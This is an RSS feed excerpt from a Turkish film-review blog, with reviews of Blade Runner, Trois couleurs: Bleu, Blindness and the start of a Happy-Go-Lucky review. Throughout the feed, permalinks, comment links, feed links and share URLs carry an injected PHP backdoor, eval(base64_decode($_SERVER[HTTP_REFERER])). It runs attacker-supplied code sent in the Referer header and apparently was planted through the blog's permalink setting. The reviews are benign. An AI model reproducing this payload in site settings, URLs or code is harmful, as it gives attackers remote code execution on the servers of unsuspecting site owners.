<p>Filmin görselliği ise sanırım en öte noktası, o kadar güzel betimlenmiş ki geleceğin dünyası, sonraki bilimkurgu filmler için referansın ötesinde tam bir başlangıç elkitabı gibi. Paslı ve tozun altında kalan dünya gerçekten çok başarılı verilmiş. Tek anlamsızlık tozu görünür kılabilmek için her bina içi sahnede dışarıdan rastgele aralıklarla eve giren ışık hüzmeleri. Oldukça anlamsız olduklarını söylemeye gerek yok sanırım. Ayrıca ABD&#8217;nin gözünde gelecek Japonya ile sembolize edildiği için filmde yüzlerce Japon figüran kullanılmış. Abuk bir tercih kanımca, kitabın mantığında düşünürseniz bu durum tüm Japonların ya hastalıklı ya da tavukkafalı olduğunu belirtmiş oluyor. Şansa ki bu bilgiler filmde iletilmiyor.</p>
<div id="attachment_1101" class="wp-caption aligncenter" style="width: 618px"><a href="http://www.izlerkenkiler.com/wp-content/uploads/blade-runner.jpg"><img class="size-full wp-image-1101" title="blade-runner" src="http://www.izlerkenkiler.com/wp-content/uploads/blade-runner.jpg" alt="blade-runner" width="608" height="246" /></a><p class="wp-caption-text">Tyrell Şirketi</p></div>
<p style="text-align: center;">
<p>Senaryo literatürden uzak birine hitap edebilir belki fakat <a href=/tag/philip-k-dick target=_blank>Philip K. Dick</a>&#8217;in eserinin budanması tüm heyecanı ve sürükleyiciliğinin yokedilmesi olarak görebiliyorum ancak. Romanda her <a href=/tag/philip-k-dick target=_blank>Philip K. Dick</a> romanında olduğu gibi gerçeklik konusunda şüpheye düşmeler bolken, gerçekliği sorgular buluyorken kendimizi bu sahnelerin filmde basitçe harcandığını görüyoruz. Öyle bir uyarlanmış ki kitap, filmin kitaba bağlı olduğunu <a href=/tag/philip-k-dick target=_blank>Philip K. Dick</a>&#8217;i özümsediğini söylemek pek kolay değil.</p>
<p>Öncelikle şunun söylenmesi gerek Rick Deckard emekli ve efsanevi bir ikramiye avcısı değildir, aktif çalışmayan kendini kanıtlayamamış ve Dave Holden&#8217;ın gölgesinde kalmış bir ikramiye avcısıdır. Dave Holden polisin gözdesiyken, istemsizce bu iş Deckard&#8217;a kalmıştır. Deckard hem kendi idolü Holden&#8217;ı bu kadar hırpalamalarından hem de kendine güvensizliğinden Nexus 6&#8242;lara, yeni seri androidlere, karşı 1-0 geride başlamıştır savaşa. Ama Hollywood illa ki elini atacak ve kahramanı kahraman yapacak, filmde Deckard şüphelere sahip olsa da bunlar onu en iyi ikramiye avcısı yapmaktan alıkoymamaktadır. En basitinden diğer bir heba edilmiş sahne Rachael&#8217;ın ilk kez Voight Kampff testine sokulduğu andır. Bu sahnede seyirci ne baykuşun orda bulunma sebebine ne de Eldon Tyrell&#8217;in sinsi planlarına dahil ediliyor. Bence bu sahneler yüzünden filmde <a href=/tag/philip-k-dick target=_blank>Philip K. Dick</a>&#8217;in etkisi oldukça azaltılmış durumda.</p>
<div id="attachment_1100" class="wp-caption aligncenter" style="width: 618px"><a href="http://www.izlerkenkiler.com/wp-content/uploads/blade-runner-2.jpg"><img class="size-full wp-image-1100" title="blade-runner-2" src="http://www.izlerkenkiler.com/wp-content/uploads/blade-runner-2.jpg" alt="blade-runner-2" width="608" height="246" /></a><p class="wp-caption-text">Altı, beş, dört!</p></div>
<p style="text-align: center;">
<p>Hele bir de androidlerin Dünya&#8217;ya hayatlarını uzatmak ve yaratıcılarını öldürmek için gelmiş olmaları fikri tam bir zıtlık, androidlerin dünyaya aslen gelme sebepleri insan olabilmek ve kölelikten kaçmaktır. Hatta kitapta bir android ne kadar göz önünde bulunursa bulunsun opera sanatçısı olma isteğinden vazgeçmemiştir. Tek amaçları yaşıyor hissetmektir kendinlerini, insan hissetmektir. Fakat film androidleri, ölüm korkusuna sıkıştırıyor sadece, oysa ki görünenin ardında androidlerde çok daha fazlası var.</p>
<p>Sanırım en iyi dönüşüm Isidore karakterinin J.F. Sebastian&#8217;a dönüştürülmesinde, J.F. Sebastian&#8217;ın Dünya&#8217;da kalma sebebi ve androidlere neden yakın olduğu mantıklı şekilde kotarılabilmiş.</p>
<p>Kitap ile kafa kafaya bir yazı olacağını başta da belirtmiştim. Kitabının sürükleyiciliğini ve sorgulayıcılığını kenara bırakıp onun yerine boşluklar koyarak harcadığı vakitlerin ardından zamanı sıkışmış gibi koşarak biten <a href=/tag/blade-runner target=_blank>Blade Runner</a>, kitabın şanına yaraşır cinsten değil. Gene de <a href=/tag/1982 target=_blank>1982</a>&#8242;de kitabın görsel yapısına sadık kaldığı ve hikaye anlatımını bir miktarda kotardığı için izlenebilir bir film. Fakat benden alabileceğiniz tek cevap kitabını okumanız olacaktır, bunu da söylemeden bitirmeyim.</p>
<p>Dipnot: Elektrikli hayvan ve Mercerizm gibi konuların filmde incelenmemesini mantıklı bulsam da, kitabı zenginleştiren bu unsurların filmde olmamasına üzülmüyor da değilim.</p>
<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.izlerkenkiler.com%2F2009%2F03%2F04%2Fblade-runner-1982-androidleri-insandan-ayiran-nedir%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;linkname=Blade%20Runner%20%281982%29%20-%20Android%26%238217%3Bleri%20insandan%20ay%C4%B1ran%20nedir%3F"><img src="http://www.izlerkenkiler.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>

<p>Alakalı yazılar:<ol><li><a href='http://www.izlerkenkiler.com/2009/03/18/conan-the-barbarian-1982/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/' rel='bookmark' title='Permanent Link: Conan the Barbarian (1982) - Crom bana intikam bağışla, bağışlamazsan da canın cehenneme!'>Conan the Barbarian (1982) - Crom bana intikam bağışla, bağışlamazsan da canın cehenneme!</a> <small>Conan the Barbarian, 1982 yapımı John Milius filmidir. Film, Conan&#8217;ın...</small></li><li><a href='http://www.izlerkenkiler.com/2009/01/24/slumdog-millionaire-2008-bizi-dogru-cevaba-goturen-nedir/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/' rel='bookmark' title='Permanent Link: Slumdog Millionaire (2008) - Bizi doğru cevaba götüren nedir?'>Slumdog Millionaire (2008) - Bizi doğru cevaba götüren nedir?</a> <small>Yılın son demlerine yetişen, Türkiye&#8217;de 27 Şubat&#8217;ta gösterime girecek olan...</small></li></ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.izlerkenkiler.com/2009/03/04/blade-runner-1982-androidleri-insandan-ayiran-nedir/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Trois couleurs: Bleu (1993) - Sadece Mavi</title>
		<link>http://www.izlerkenkiler.com/2009/03/02/trois-couleurs-bleu-sadece-mavi/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.izlerkenkiler.com/2009/03/02/trois-couleurs-bleu-sadece-mavi/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 02 Mar 2009 21:32:04 +0000</pubDate>
		<dc:creator>notilus</dc:creator>
		
		<category><![CDATA[Avrupa]]></category>

		<category><![CDATA[1993]]></category>

		<category><![CDATA[Benoît Régent]]></category>

		<category><![CDATA[Florence Pernel]]></category>

		<category><![CDATA[Juliette Binoche]]></category>

		<category><![CDATA[Krzysztof Kieslowski]]></category>

		<category><![CDATA[Mavi]]></category>

		<category><![CDATA[Trois Couleurs]]></category>

		<category><![CDATA[Trois Couleurs: Bleu]]></category>

		<category><![CDATA[Üç Renk Mavi]]></category>

		<category><![CDATA[Üç Renk Üçlemesi]]></category>

		<guid isPermaLink="false">http://www.izlerkenkiler.com/?p=1085</guid>
		<description><![CDATA[Trois couleurs: Bleu, 1993 yapımı bir Krzysztof Kieslowski filmidir. Aynı zamanda üçlemenin ilk filmi olmaktadır. Eşi besteci olan bir kadının, eşini ve çocuğunu bir kazada kaybetmesi ile farklılaşan hayatını konu alır.
Bu süreç içerisinde eşinden ileri gelen müzik ve yeni yaşam tarzı peşinden takip etmektedir. Bir kaçar bir vazgeçer fakat tüm bu belirsizliğe hakim olan bu [...]


Alakalı yazılar:<ol><li><a href='http://www.izlerkenkiler.com/2008/11/20/2-days-in-paris-2007-kadina-erkege-ve-iliskilere-dair/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/' rel='bookmark' title='Permanent Link: 2 Days in Paris (2007) - Kadına, erkeğe ve ilişkilere dair'>2 Days in Paris (2007) - Kadına, erkeğe ve ilişkilere dair</a> <small>Amerika&#8217;da yaşayan ve sevgili olan Marion (Julie Delpy) ve Jack...</small></li></ol>]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-medium wp-image-1086" src="http://www.izlerkenkiler.com/wp-content/uploads/troiscouleursbleu8ly-218x300.jpg" alt="troiscouleursbleu8ly" width="218" height="300" />Trois couleurs: Bleu, <a href=/tag/1993 target=_blank>1993</a> yapımı bir <a href=/tag/krzysztof-kieslowski target=_blank>Krzysztof Kieslowski</a> filmidir. Aynı zamanda üçlemenin ilk filmi olmaktadır. Eşi besteci olan bir kadının, eşini ve çocuğunu bir kazada kaybetmesi ile farklılaşan hayatını konu alır.</p>
<p>Bu süreç içerisinde eşinden ileri gelen müzik ve yeni yaşam tarzı peşinden takip etmektedir. Bir kaçar bir vazgeçer fakat tüm bu belirsizliğe hakim olan bu insanı izlemek de bize düşer.<br />
Yönetmenlik ve oyunculuk anlamında oldukça ileri düzey bir film olduğunu fark ettim. Ayrıca film boyunca kullanılan ışıklandırma kesinlikle kusursuz denecek kadar doğaldı. Özellikle insan yüzünü saran tonlar ve gölgelere doyamadım diyebilirim.</p>
<p>Sanırım bu filmdeki en karakteristik karelerden biri  Julie Vignon/Courcy (<a href=/tag/juliette-binoche target=_blank>Juliette Binoche</a>) un elini duvara sürterek ilerlediği sahnedir. Ne kadar doğru bilemiyorum ama gerçekten bunu yapmış olduğu söylenmekte.</p>
<p>Buna ek olarak filmin her karesinin büyük emek içerdiğini düşünüyorum.  Julie’nin karakteri dört dörtlük. Hem kendini çok iyi anlatıyor hem de kendine zıt düşecek davranışta bulunmuyor. Kafası fazlaca karışık olmasına rağmen soğukkanlı kalabiliyor.</p>
<p><img class="alignright size-full wp-image-1088" src="http://www.izlerkenkiler.com/wp-content/uploads/bscap0019bk1.jpg" alt="bscap0019bk1" width="576" height="304" /></p>
<p>Film boyunca işlenen müzik teması oldukça etkileyici, özellikle müziğin çalması ile birlikte notaları takip eden sahne ve yine bu sahneye eşlik eden mavi ışık etkileyici.</p>
<p>Üçlemenin diğer iki filmini henüz izlemedim fakat bu filmi izledikten sonra kesinlikle devamını getirmem gerektiğini düşünüyorum.</p>
<p>Ufak notlar (spoiler içerir!):</p>
<p>-	Evin hanımı yaşananları dışa vurarak yaşamadığı için hizmetçisi çektiği acıyı dışa vurur. Bunun üzerine aralarında şu tip bir diyalog geçer.<br />
- sen neden ağlıyorsun?<br />
- çünkü ağlamıyorsunuz</p>
<p>-      Julie çantasını karıştırırken kızının yediği şekeri bulur. Biz kızının şeker yediğini görmeyiz ama filmin başında araba penceresinden atılan jelatini görürüz. Julie jelatini çıkarınca taşlar yerine oturur. Şeker ile kız arasında ilişki kurulur. Ardından Julie’nin şekeri nasıl yadiğini görüp hüzünleniriz.</p>
<p>-      Julie’nin annesi ile arasında geçen konuşma da oldukça güzeldir. Tam olarak iletişim kurdukları söylenemez ama yine de anlaşırlar.</p>
<p>-       Yönetmenin bir üslubu dikkat çekici, örneğin tam cevap verilecekken ekran kararır müzik girer, ses yükselir, müzik alçalır sonra ekran tekrar aydınlanır ve sahne kaldığı yerden devam eder.</p>
<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.izlerkenkiler.com%2F2009%2F03%2F02%2Ftrois-couleurs-bleu-sadece-mavi%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;linkname=Trois%20couleurs%3A%20Bleu%20%281993%29%20-%20Sadece%20Mavi"><img src="http://www.izlerkenkiler.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>

<p>Alakalı yazılar:<ol><li><a href='http://www.izlerkenkiler.com/2008/11/20/2-days-in-paris-2007-kadina-erkege-ve-iliskilere-dair/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/' rel='bookmark' title='Permanent Link: 2 Days in Paris (2007) - Kadına, erkeğe ve ilişkilere dair'>2 Days in Paris (2007) - Kadına, erkeğe ve ilişkilere dair</a> <small>Amerika&#8217;da yaşayan ve sevgili olan Marion (Julie Delpy) ve Jack...</small></li></ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.izlerkenkiler.com/2009/03/02/trois-couleurs-bleu-sadece-mavi/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Blindness (2008) - Görmezsen dünya değişir mi?</title>
		<link>http://www.izlerkenkiler.com/2009/02/28/blindness-2008-gormezsen-dunya-degisir-mi/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.izlerkenkiler.com/2009/02/28/blindness-2008-gormezsen-dunya-degisir-mi/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 28 Feb 2009 20:10:57 +0000</pubDate>
		<dc:creator>a product of your imagination</dc:creator>
		
		<category><![CDATA[Amerika]]></category>

		<category><![CDATA[Bağımsız]]></category>

		<category><![CDATA[2008]]></category>

		<category><![CDATA[Alice Braga]]></category>

		<category><![CDATA[Blindness]]></category>

		<category><![CDATA[Danny Glover]]></category>

		<category><![CDATA[Don McKellar]]></category>

		<category><![CDATA[Fernando Meirelles]]></category>

		<category><![CDATA[Gael García Bernal]]></category>

		<category><![CDATA[Julianne Moore]]></category>

		<category><![CDATA[Körlük]]></category>

		<category><![CDATA[Mark Ruffalo]]></category>

		<category><![CDATA[Mitchell Nye]]></category>

		<category><![CDATA[Yoshino Kimura]]></category>

		<category><![CDATA[Yusuke Iseya]]></category>

		<guid isPermaLink="false">http://www.izlerkenkiler.com/?p=1066</guid>
		<description><![CDATA[Herkesin delirdiği, ete acıktığı, zombilere dönüştüğü salgın filmlerinden bıktınız mı? İşte karşınızda Blindness! Adından da anlaşılacağı üzere Blindness, hızlıca yayılan bir salgınla tüm insan ırkının kör olmasını konu alıyor. Konusu sebebiyle, diğer salgın filmlerinden ayrılıp yabancı bir saldırganlıktansa insanın içindeki kötücüllüğü ve muhtaçlığı konu alıyor.
Film trafik ışıklarında duran bir araçta bir anda bir adamın kör [...]


Alakalı yazılar:<ol><li><a href='http://www.izlerkenkiler.com/2009/02/20/religulous-2008-dinler-evrenine-tersten-bakis/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/' rel='bookmark' title='Permanent Link: Religulous (2008) - Dinler evrenine tersten bakış'>Religulous (2008) - Dinler evrenine tersten bakış</a> <small>Religulous, İngilizce religion (din) ve ridiculous (saçma) kelimelerinin zekice birleşimininden...</small></li><li><a href='http://www.izlerkenkiler.com/2009/01/24/slumdog-millionaire-2008-bizi-dogru-cevaba-goturen-nedir/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/' rel='bookmark' title='Permanent Link: Slumdog Millionaire (2008) - Bizi doğru cevaba götüren nedir?'>Slumdog Millionaire (2008) - Bizi doğru cevaba götüren nedir?</a> <small>Yılın son demlerine yetişen, Türkiye&#8217;de 27 Şubat&#8217;ta gösterime girecek olan...</small></li><li><a href='http://www.izlerkenkiler.com/2009/01/07/the-wrestler-2008-aronofskinin-rourkea-kiyagi/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/' rel='bookmark' title='Permanent Link: The Wrestler (2008) - Aronofsky&#8217;nin Rourke&#8217;a kıyağı&#8230;'>The Wrestler (2008) - Aronofsky&#8217;nin Rourke&#8217;a kıyağı&#8230;</a> <small> Darren Aronofsky&#8217;nin The Fountain (2006)&#8217;da bizlere (özellikle bana!) yaşattığı...</small></li></ol>]]></description>
			<content:encoded><![CDATA[<div id="attachment_1067" class="wp-caption alignleft" style="width: 322px"><a href="http://www.izlerkenkiler.com/wp-content/uploads/blindness-poster.jpg"><img class="size-full wp-image-1067" title="Unknown" src="http://www.izlerkenkiler.com/wp-content/uploads/blindness-poster.jpg" alt="Unknown" width="312" height="464" /></a><p class="wp-caption-text"> </p></div>
<p style="text-align: justify;">Herkesin delirdiği, ete acıktığı, zombilere dönüştüğü salgın filmlerinden bıktınız mı? İşte karşınızda <a href=/tag/blindness target=_blank>Blindness</a>! Adından da anlaşılacağı üzere <a href=/tag/blindness target=_blank>Blindness</a>, hızlıca yayılan bir salgınla tüm insan ırkının kör olmasını konu alıyor. Konusu sebebiyle, diğer salgın filmlerinden ayrılıp yabancı bir saldırganlıktansa insanın içindeki kötücüllüğü ve muhtaçlığı konu alıyor.</p>
<p style="text-align: justify;">Film trafik ışıklarında duran bir araçta bir anda bir adamın kör olmasıyla başlıyor. Karısının eve gelmesiyle doktora giden adamın hastalığının ne olduğu tam da anlaşılamıyor. Bir sonraki gün geliyor göz doktoru da kör olduğunu farkediyor ve birdenbire göz doktorunun bekleme salonundaki ve kör olan ilk adamla aynı ortamda bulunan herkes birer birer kör olmaya başlıyor. Ülkenin her yerinden gelen yüzlerce şikayet sonucunda hükümet karantina ilan edip tüm hastaları izole edebilecekleri bir merkeze götürüyor. Doktorumuzun karısı da zor bir karar verip henüz kör olmamış olmasına rağmen onunla birlikte gitmeye karar veriyor. İlginç bir şekilde de sadece ona hastalık bulaşmıyor.</p>
<p style="text-align: justify;"><a href=/tag/blindness target=_blank>Blindness</a> herkesin kör olduğu kimsenin birbirine bakamayacağı bir dünyada olayların nasıl gelişebileceğine dair fikrini küçük bir kitle üzerinden bir karantina binasının içinde yaşananlardan feyz alarak sunuyor. Şimdiye kadar gördüğünüz salgın filmlerindeki gibi saldırganlık ve aksiyonun <a href=/tag/blindness target=_blank>Blindness</a>&#8217;ta olduğunu söylemek mümkün değil. <a href=/tag/blindness target=_blank>Blindness</a> daha çok bizim içimizdeki hayvana odaklanıyor. Elbette şiddet vücut buluyor, ezen ve ezilenler oluyor ama bunlar bir aksiyon şemasında değil de gerçeklik içinde veriliyor. Filmin gerçekliği ve olaylara inandırıcılığında büyük pay sahibi olan kişinin Cidade de Deus&#8217;tan tanıdığımız F<span>ernando Meirelles olduğunu söylemek hata olmaz. Ayrıca <a href=/tag/blindness target=_blank>Blindness</a>&#8217;taki körlük sadece bembeyaz bir görüşe sahip olmasına sebebiyet veriyor hastaların, film de aynı hissi size parlaklığı açılmış bembeyaz sahnelerle yansıtıyor.</span></p>
<div id="attachment_1073" class="wp-caption aligncenter" style="width: 666px"><a href="http://www.izlerkenkiler.com/wp-content/uploads/blindness-3.jpg"><img class="size-full wp-image-1073" title="blindness-3" src="http://www.izlerkenkiler.com/wp-content/uploads/blindness-3.jpg" alt="blindness-3" width="656" height="352" /></a><p class="wp-caption-text">Filmde renk kullanımı tema ile mükemmel bir uyumda</p></div>
<p style="text-align: justify;"><span>Filmin bazı sahneleri kimileri için rahatsız edici olabilir, bunu saf şiddet olarak algılamayın psikolojik olarak etkileyebilen insanların muhtaçlığının ahlak kurallarının yeniden yazılmasına sebebiyet verdiği sahneler rahatsız edici olanlar. Film bunları istismar etmese de gerçekten bunları olabildiğince doğrudan ve vurucu veriyor. Öyle ki ellerimin titremesine sebebiyet veren ve geren sahneler oldu.<br />
</span></p>
<div id="attachment_1072" class="wp-caption alignright" style="width: 310px"><a href="http://www.izlerkenkiler.com/wp-content/uploads/blindness-2.jpg"><img class="size-medium wp-image-1072" title="blindness-2" src="http://www.izlerkenkiler.com/wp-content/uploads/blindness-2-300x160.jpg" alt="blindness-2" width="300" height="160" /></a><p class="wp-caption-text"><a href=/tag/gael-garcia-bernal target=_blank>Gael García Bernal</a>, kör ama hala cingöz</p></div>
<p style="text-align: justify;"><span><a href=/tag/blindness target=_blank>Blindness</a> oyuncu tercihleri açısından bağımsız sinemayı ya da <a href=/tag/avrupa target=_blank>Avrupa</a>/Latin <a href=/tag/amerika target=_blank>Amerika</a> filmlerini takip edenleri mest edecek cinsten. Başrolde <a href=/tag/julianne-moore target=_blank>Julianne Moore</a>, <a href=/tag/mark-ruffalo target=_blank>Mark Ruffalo</a> ile mükemmel bir performans sergiliyor. Filmin kötü adamı ise Pedro Almodovar filmlerinden </span>ve Motorsiklet Günlükleri&#8217;nden tanıdığımız <a href=/tag/gael-garcia-bernal target=_blank>Gael García Bernal</a>. Cidade de Deus&#8217;ta oynamış olan <a href=/tag/alice-braga target=_blank>Alice Braga</a> ve <a href=/tag/danny-glover target=_blank>Danny Glover</a> ise yine derinlikli karakterlerden. <a href=/tag/korluk target=_blank>Körlük</a> başlı başına oynanması zor bir durum, bir de bunu tüm oyuncularınız kör olduğunda becerebilmek sırıtmamasını sağlamak gerçekten büyük bir başarı. Bu oyuncu kadrosuyla filmin inandırıcılığı tam olarak sağlanabilmiş. Özellikle <a href=/tag/julianne-moore target=_blank>Julianne Moore</a> inanılmaz bir rol üstleniyor, sadece onun için bile izlenebilir.</p>
<p style="text-align: justify;">Filmi, distopyalardan ya da salgın filmlerinden hoşlananlara tavsiye ederim. Listelediğim oyunculardan herhangi birinin hayranıysanız kesinlikle izlemeniz gereklidir diye düşünüyorum, çünkü bu film o oyuncuların her birinin daha önce oynadıkları ve büyük ihtimalle beğendiğiniz filmlerin ayarında. Şaşırtıcı bir film <a href=/tag/blindness target=_blank>Blindness</a>, kesinlikle kaçırılmaması gerek.</p>
<p style="text-align: justify;">Spoiler olabilecek kısa notlar:</p>
<p style="text-align: justify;">* Filmin sonunun yeterli vuruculukta olmadığını söylemek hatalı olmaz. Fakat filmin gelişiminden de daha fazlasını bekleyemiyorsunuz. Yani bu hikayenin gidişhatı zaten bu sona zorluyor. Çok zorlanmadan bulmanız mümkün, gene de filmden çok şey götürmüyor.<br />
* Özellikle 3.ncü koğuşun kadınları istediği sahne ve ardından gelişim idi filmde en rahatsız edici sahneler. Böyle bir durumun bu kadar doğrudan ve olduğu gibi çekilmiş olması, olaylardan önce gerçekleşen sorgulama filmi izlemek için başlı başına bir sebep.<br />
* Filmin renklerine taptım, beyazlık mükemmel bir şekilde sizi de körleştiriyor.</p>
<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.izlerkenkiler.com%2F2009%2F02%2F28%2Fblindness-2008-gormezsen-dunya-degisir-mi%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;linkname=Blindness%20%282008%29%20-%20G%C3%B6rmezsen%20d%C3%BCnya%20de%C4%9Fi%C5%9Fir%20mi%3F"><img src="http://www.izlerkenkiler.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>

<p>Alakalı yazılar:<ol><li><a href='http://www.izlerkenkiler.com/2009/02/20/religulous-2008-dinler-evrenine-tersten-bakis/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/' rel='bookmark' title='Permanent Link: Religulous (2008) - Dinler evrenine tersten bakış'>Religulous (2008) - Dinler evrenine tersten bakış</a> <small>Religulous, İngilizce religion (din) ve ridiculous (saçma) kelimelerinin zekice birleşimininden...</small></li><li><a href='http://www.izlerkenkiler.com/2009/01/24/slumdog-millionaire-2008-bizi-dogru-cevaba-goturen-nedir/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/' rel='bookmark' title='Permanent Link: Slumdog Millionaire (2008) - Bizi doğru cevaba götüren nedir?'>Slumdog Millionaire (2008) - Bizi doğru cevaba götüren nedir?</a> <small>Yılın son demlerine yetişen, Türkiye&#8217;de 27 Şubat&#8217;ta gösterime girecek olan...</small></li><li><a href='http://www.izlerkenkiler.com/2009/01/07/the-wrestler-2008-aronofskinin-rourkea-kiyagi/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/' rel='bookmark' title='Permanent Link: The Wrestler (2008) - Aronofsky&#8217;nin Rourke&#8217;a kıyağı&#8230;'>The Wrestler (2008) - Aronofsky&#8217;nin Rourke&#8217;a kıyağı&#8230;</a> <small> Darren Aronofsky&#8217;nin The Fountain (2006)&#8217;da bizlere (özellikle bana!) yaşattığı...</small></li></ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.izlerkenkiler.com/2009/02/28/blindness-2008-gormezsen-dunya-degisir-mi/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Happy-Go-Lucky (2008) - Gerzekcesine mutlu!</title>
		<link>http://www.izlerkenkiler.com/2009/02/24/happy-go-lucky-2008-gerzekcesine-mutlu/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.izlerkenkiler.com/2009/02/24/happy-go-lucky-2008-gerzekcesine-mutlu/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 23 Feb 2009 22:14:21 +0000</pubDate>
		<dc:creator>a product of your imagination</dc:creator>
		
		<category><![CDATA[Avrupa]]></category>

		<category><![CDATA[Bağımsız]]></category>

		<category><![CDATA[2008]]></category>

		<category><![CDATA[Alexis Zegerman]]></category>

		<category><![CDATA[Daima Mutlu]]></category>

		<category><![CDATA[Eddie Marsan]]></category>

		<category><![CDATA[Happy-Go-Lucky]]></category>

		<category><![CDATA[Mike Leigh]]></category>

		<category><![CDATA[Sally Hawkins]]></category>

		<guid isPermaLink="false">http://www.izlerkenkiler.com/?p=1049</guid>
		<description><![CDATA[Happy-Go-Lucky, İngiltere&#8217;de mutlu olmaktan mutlu olan, çevresine enerji saçmayı kendine görev edinmiş bir ilkokul öğretmeni Poppy&#8217;nin hayatına bakış atıyor. Çok uzak değil, benzer örnekler hele de Amelie göz önüne alındığında filme neden İngiliz Amelie&#8217;si dendiğini anlamak zor değil. Ama ikisinin nasıl aynı kefeye konulabildiğini anlamak oldukça zor.
Film Poppy üzerinden gittiği için öncelikle bu rolü üstlenen [...]


Alakalı yazılar:<ol><li><a href='http://www.izlerkenkiler.com/2009/02/28/blindness-2008-gormezsen-dunya-degisir-mi/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/' rel='bookmark' title='Permanent Link: Blindness (2008) - Görmezsen dünya değişir mi?'>Blindness (2008) - Görmezsen dünya değişir mi?</a> <small>Herkesin delirdiği, ete acıktığı, zombilere dönüştüğü salgın filmlerinden bıktınız mı?...</small></li><li><a href='http://www.izlerkenkiler.com/2009/01/11/lat-den-ratte-komma-in-2008-yazgiya-razi-olmanin-farkli-bir-turu/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/' rel='bookmark' title='Permanent Link: Låt den rätte komma in (2008) - Yazgıya razı olmanın farklı bir türü'>Låt den rätte komma in (2008) - Yazgıya razı olmanın farklı bir türü</a> <small>İsveç yapımı &#8220;Låt den rätte komma in&#8221;, vampir filmlerinde görmeye...</small></li><li><a href='http://www.izlerkenkiler.com/2009/01/11/gomorra-2008-italya-cephesinde-degisen-bir-sey-yok/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/' rel='bookmark' title='Permanent Link: Gomorra (2008) - İtalya cephesinde değişen bir şey yok!'>Gomorra (2008) - İtalya cephesinde değişen bir şey yok!</a> <small>Gomorra şatafatlı mafya filmlerinin aksine güncel İtalyan mafyasını perdeye en...</small></li></ol>]]></description>
			<content:encoded><![CDATA[<div id="attachment_1055" class="wp-caption alignleft" style="width: 371px"><a href="http://www.izlerkenkiler.com/wp-content/uploads/happy-go-lucky-poster.jpg"><img class="size-full wp-image-1055" title="happy-go-lucky-poster" src="http://www.izlerkenkiler.com/wp-content/uploads/happy-go-lucky-poster.jpg" alt="happy-go-lucky-poster" width="361" height="535" /></a><p class="wp-caption-text">Düzenli diş fırçalamanın faydaları!</p></div>
<p><a href=/tag/happy-go-lucky target=_blank>Happy-Go-Lucky</a>, İngiltere&#8217;de mutlu olmaktan mutlu olan, çevresine enerji saçmayı kendine görev edinmiş bir ilkokul öğretmeni Poppy&#8217;nin hayatına bakış atıyor. Çok uzak değil, benzer örnekler hele de Amelie göz önüne alındığında filme neden İngiliz Amelie&#8217;si dendiğini anlamak zor değil. Ama ikisinin nasıl aynı kefeye konulabildiğini anlamak oldukça zor.</p>
<p>Film Poppy üzerinden gittiği için öncelikle bu rolü üstlenen <a href=/tag/sally-hawkins target=_blank>Sally Hawkins</a>&#8217;in performansını konuşmak mantıklı olur. Karakter mi böyle yaratılmış yoksa kendi suçu mu bilemiyorum fakat Poppy&#8217;nin abartılı jestleri ve anlamsız davranışları ilk saniyeden filmin sonuna kadar çantasından antidepresan hapları çıkarması için beklemenize sebep oluyor. Fakat filmin sonunda şüpheleri yoketmek için Poppy&#8217;nin davranışlarının sadece herkesi mutlu etmek için olduğunun söylenmesi belki de çok daha derinlikli psikolojik saptamaların önünü kapatıyor. Poppy hasta olduğun farkında bile olmayan tam anlamıyla bir çatlakmış.</p>
